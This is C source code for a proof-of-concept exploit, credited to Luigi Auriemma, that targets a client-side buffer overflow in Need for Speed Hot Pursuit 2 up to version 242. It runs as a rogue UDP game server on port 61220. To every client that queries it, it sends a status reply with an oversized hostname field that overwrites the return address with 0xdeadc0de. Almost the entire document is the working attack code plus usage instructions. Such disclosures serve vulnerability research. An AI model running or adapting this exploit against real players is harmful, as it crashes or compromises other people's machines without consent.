home *** CD-ROM | disk | FTP | other *** search
- /*
-
- by Luigi Auriemma
-
- UNIX & WIN VERSION
- */
-
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-
- #ifdef WIN32
- #include <winsock.h>
- #include "winerr.h"
-
- #define close closesocket
- #else
- #include <unistd.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #endif
-
-
-
-
-
-
- #define VER "0.1"
- #define BUFFSZ 2048
- #define PORT 61220
- #define RETADD 0xdeadc0de
- #define RETOFF 540
- #define NFS240 "18022640"
- #define NFS242 "18088178"
- #define NFSOFF 669 /* referred to pck[] nver, don't change it */
-
-
-
-
-
-
- void std_err(void);
-
-
-
-
-
-
- int main(int argc, char *argv[]) {
- int sd,
- err,
- on = 1,
- psz;
- struct sockaddr_in peer;
- u_char *buff,
- pck[] =
- "\\gamename\\nfs6"
- "\\gamever\\240" // it is useless
- "\\hostname\\"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
- "aaaaaaaaaaaaaaaaaaaaaaaa"
- "0000" // return address
- "\\hostport\\8511"
- "\\mapname\\Fall Winds"
- "\\gametype\\Single Race"
- "\\numplayers\\1"
- "\\maxplayers\\8"
- "\\gamemode\\openplaying"
- "\\pbmd\\0"
- "\\password\\0"
- "\\nver\\" NFS240
- "\\ctid\\6"
- "\\res\\38"
- "\\dir\\0"
- "\\laps\\2"
- "\\ded\\0"
- "\\final\\"
- "\\queryid\\2.1";
-
-
- setbuf(stdout, NULL);
-
- fputs("\n"
- "Need for Speed Hot pursuit 2 <= 242 client's buffer overflow "VER"\n"
- "by Luigi Auriemma\n"
- "e-mail: aluigi@altervista.org\n"
- "web: http://aluigi.altervista.org\n"
- "\n", stdout);
-
- if(argc < 2) {
- printf("\nUsage: %s <version>\n"
- "\n"
- "Version:\n"
- "240 = this is the default (1.0) and more diffused version\n"
- "242 = the latest patched version, rarely used by players\n"
- "\n", argv[0]);
- exit(1);
- }
-
-
- if(!memcmp(argv[1], "240", 3)) {
- printf("Selected version 240 (nver %s)\n", NFS240);
- } else if(!memcmp(argv[1], "242", 3)) {
- printf("Selected version 242 (nver %s)\n", NFS242);
- memcpy(pck + NFSOFF, NFS242, sizeof(NFS242) - 1);
- } else {
- printf("\nError: you must choose between 240 and 242 only\n");
- exit(1);
- }
-
-
- #ifdef WIN32
- WSADATA wsadata;
- WSAStartup(MAKEWORD(1,0), &wsadata);
- #endif
-
- sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
- if(sd < 0) std_err();
-
- peer.sin_addr.s_addr = INADDR_ANY;
- peer.sin_port = htons(PORT);
- peer.sin_family = AF_INET;
- psz = sizeof(peer);
-
- printf("\nBinding UDP port %u\n", PORT);
-
- err = setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
- if(err < 0) std_err();
- err = bind(sd, (struct sockaddr *)&peer, psz);
- if(err < 0) std_err();
-
- printf("The return address will be overwritten with 0x%08x\n", RETADD);
- *(u_long *)(pck + RETOFF) = RETADD;
-
- buff = malloc(BUFFSZ);
- if(!buff) std_err();
-
- fputs("Clients:\n", stdout);
- while(1) {
- err = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
- if(err < 0) std_err();
-
- printf("%16s:%hu -> ",
- inet_ntoa(peer.sin_addr), htons(peer.sin_port));
-
- err = sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer, psz);
- if(err < 0) std_err();
- fputs("BOOM\n", stdout);
- }
-
- close(sd);
- return(0);
- }
-
-
-
-
-
-
- #ifndef WIN32
- void std_err(void) {
- perror("\nError");
- exit(1);
- }
- #endif
-
-
-
-